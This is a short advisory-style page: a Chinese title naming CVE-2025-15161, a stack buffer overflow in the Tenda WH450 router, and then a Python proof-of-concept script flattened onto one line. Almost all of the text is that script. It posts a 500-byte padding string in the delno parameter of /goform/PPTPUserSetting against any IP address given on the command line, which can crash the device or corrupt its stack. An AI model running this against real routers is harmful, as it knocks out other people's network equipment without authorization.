CVE-2025-15161 Tenda WH450路由器栈缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-15161 PoC - Tenda WH450 /goform/PPTPUserSetting Buffer Overflow # Target: Tenda WH450 Firmware 1.0.0.18 import requests import sys def exploit(target_ip, target_port=80): """Exploit stack-based buffer overflow in PPTPUserSetting""" url = f"http://{target_ip}:{target_port}/goform/PPTPUserSetting" # Generate payload with oversized delno parameter # Overflow the stack buffer to overwrite return address padding = b"A" * 500 # Craft malicious delno parameter payload = { "delno": padding.decode('utf-8'), "other_params": "value" } try: print(f"[*] Sending exploit payload to {url}") response = requests.post(url, data=payload, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Buffer overflow triggered - check device stability") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)